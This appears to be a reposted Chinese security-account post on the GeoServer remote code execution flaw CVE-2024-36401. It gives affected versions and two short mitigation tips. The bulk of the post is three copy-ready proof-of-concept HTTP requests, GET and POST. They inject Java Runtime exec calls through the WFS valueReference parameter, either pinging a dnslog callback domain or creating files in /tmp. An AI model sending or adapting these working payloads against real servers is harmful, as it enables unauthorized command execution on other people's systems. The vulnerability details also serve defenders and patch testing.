GeoServer property 表达式注入代码执行漏洞（CVE-2024-36401）
https://avd.aliyun.com/detail?id=AVD-2024-36401
GeoServer < 2.23.6
2.24.0 <= GeoServer < 2.24.4
2.25.0 <= GeoServer < 2.25.2
临时修复方案
-
使用防护类设备对相关资产进行防护，拦截请求中的恶意命令执行语句。 -
如非必要，避免将资产暴露在互联网。
复现截图
POC
POST /geoserver/wfs HTTP/1.1Host: xxxxUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/9.1.2 Safari/605.1.15Connection: closeContent-Length: 362Content-Type: application/xmlAccept-Encoding: gzip, deflate, br<wfs:GetPropertyValue service='WFS' version='2.0.0'xmlns:topp='http://www.openplans.org/topp'xmlns:fes='http://www.opengis.net/fes/2.0'xmlns:wfs='http://www.opengis.net/wfs/2.0'valueReference='exec(java.lang.Runtime.getRuntime(),"ping xxx.dnslog.cn")'><wfs:Query typeNames='topp:states'/></wfs:GetPropertyValue>
基于GET方法的POC
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1Host: your-ip:8080Accept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36Connection: closeCache-Control: max-age=0
基于POST方法的POC
POST /geoserver/wfs HTTP/1.1Host: your-ip:8080Accept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/xmlContent-Length: 356<wfs:GetPropertyValue service='WFS' version='2.0.0'xmlns:topp='http://www.openplans.org/topp'xmlns:fes='http://www.opengis.net/fes/2.0'xmlns:wfs='http://www.opengis.net/wfs/2.0'><wfs:Query typeNames='sf:archsites'/><wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success2')</wfs:valueReference></wfs:GetPropertyValue>
受影响软件情况
原文始发于微信公众号（利刃信安）：【攻防演练】GeoServer property 表达式注入代码执行漏洞（CVE-2024-36401）
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